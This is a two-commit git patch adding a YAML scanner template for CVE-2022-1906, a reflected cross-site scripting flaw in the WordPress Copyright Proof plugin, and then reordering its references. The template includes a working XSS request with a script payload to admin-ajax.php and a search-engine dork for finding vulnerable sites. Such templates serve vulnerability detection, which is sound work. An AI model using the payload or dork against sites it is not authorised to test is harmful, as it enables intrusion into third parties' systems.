From 28576f0b2c3c2643abd7ec27e6707e3b380d1a1d Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Wed, 3 Aug 2022 09:35:41 +0530 Subject: [PATCH 1/2] Create CVE-2022-1906.yaml --- cves/2022/CVE-2022-1906.yaml | 39 ++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 cves/2022/CVE-2022-1906.yaml diff --git a/cves/2022/CVE-2022-1906.yaml b/cves/2022/CVE-2022-1906.yaml new file mode 100644 index 0000000000..65c03b9fc0 --- /dev/null +++ b/cves/2022/CVE-2022-1906.yaml @@ -0,0 +1,39 @@ +id: CVE-2022-1906 + +info: + name: Copyright Proof <= 4.16 - Reflected Cross-Site-Scripting + author: random-robbie + severity: medium + description: | + The plugin does not sanitise and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users, leading to a Reflected Cross-Site Scripting when a specific setting is enabled. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-1906 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1906 + - https://wpscan.com/vulnerability/af4f459e-e60b-4384-aad9-0dc18aa3b338 + metadata: + verified: "true" + google-dork: inurl:/wp-content/plugins/digiproveblog + tags: cve,cve2022,wordpress,xss,wp-plugin,wp + +requests: + - raw: + - | + GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "got message " + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 From 96c470bbbbe6caa53061eadbfa8d6f68eb4fa4a7 Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Wed, 3 Aug 2022 18:48:58 +0530 Subject: [PATCH 2/2] Update CVE-2022-1906.yaml --- cves/2022/CVE-2022-1906.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cves/2022/CVE-2022-1906.yaml b/cves/2022/CVE-2022-1906.yaml index 65c03b9fc0..dd5479bbfb 100644 --- a/cves/2022/CVE-2022-1906.yaml +++ b/cves/2022/CVE-2022-1906.yaml @@ -7,11 +7,11 @@ info: description: | The plugin does not sanitise and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users, leading to a Reflected Cross-Site Scripting when a specific setting is enabled. reference: + - https://wpscan.com/vulnerability/af4f459e-e60b-4384-aad9-0dc18aa3b338 - https://nvd.nist.gov/vuln/detail/CVE-2022-1906 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1906 - - https://wpscan.com/vulnerability/af4f459e-e60b-4384-aad9-0dc18aa3b338 metadata: - verified: "true" + verified: true google-dork: inurl:/wp-content/plugins/digiproveblog tags: cve,cve2022,wordpress,xss,wp-plugin,wp